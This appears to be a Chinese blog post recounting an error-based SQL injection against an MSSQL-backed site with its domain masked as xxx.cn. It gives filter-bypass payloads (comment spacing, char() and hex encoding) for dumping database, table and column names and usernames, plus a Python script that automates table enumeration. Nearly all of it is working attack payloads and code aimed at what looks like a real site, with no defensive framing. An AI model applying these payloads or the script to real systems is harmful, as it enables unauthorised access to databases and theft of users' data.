Tag:mssqli

Tag (mssqli)'s result:

又又一次mssql注入

记一次mssql注入历程 又一次mssql注入历程   0x00 爆数据库 过滤了单引号,空格等 利用char,0x绕过,注意%2b编码 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,((select/**/name/**/from/**/master.dbo.sysdatabases/**/where/**/dbid=5)))–     0x01 爆表名 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/name/**/from/**/jy..sysobjects/**/where/**/xtype=0x75/**/and/**/name/**/not/**/in(char(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111))))– 写个脚本跑表 #coding:utf-8 #Author:LSA import sys import requests from bs4 import BeautifulSoup import re headers = { ‘Cookie’: ”, ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36’ } global tables_name tables_name = “char(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)” #print tables_name def deal_table_name(table_name): xx = ” xxxx = ” for i in range(0,len(table_name)): xx = xx + str(ord(table_name[i])) + ‘ ‘ print xx xxx = xx[:-1].split(‘ ‘) print xxx for i in range(0,len(xxx)): xxxx = xxxx + ‘char(‘ + xxx[i] + ‘)’ + ‘%2b’ return xxxx[:-3] def brute_tables(url): for i in range(0,300): url = ‘http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/name/**/from/**/jy..sysobjects/**/where/**/xtype=0x75/**/and/**/name/**/not/**/in(‘ + tables_name + ‘)))–‘ print url rsp = requests.get(url,headers=headers) soup = BeautifulSoup(rsp.text,”lxml”) title = soup.title.string #print title table_name = re.findall(r”‘(.*?)'”,title) print table_name[0] table_name = deal_table_name(table_name[0]) print table_name global tables_name tables_name = tables_name + ‘,’ + table_name #print tables_name print tables_name def main(url): brute_tables(url) if __name__ == ‘__main__’: url = ‘http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/name/**/from/**/jy..sysobjects/**/where/**/xtype=0x75/**/and/**/name/**/not/**/in(‘ + tables_name + ‘)))–‘ main(url) 0x02 爆列名 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/COLUMN_NAME/**/from/**/jy.information_schema.columns/**/where/**/TABLE_NAME=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)/**/and/**/COLUMN_NAME/**/not/**/in(char(73)%2bchar(100))))–   0x03 爆数据 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/username/**/from/**/Users))–   0x04……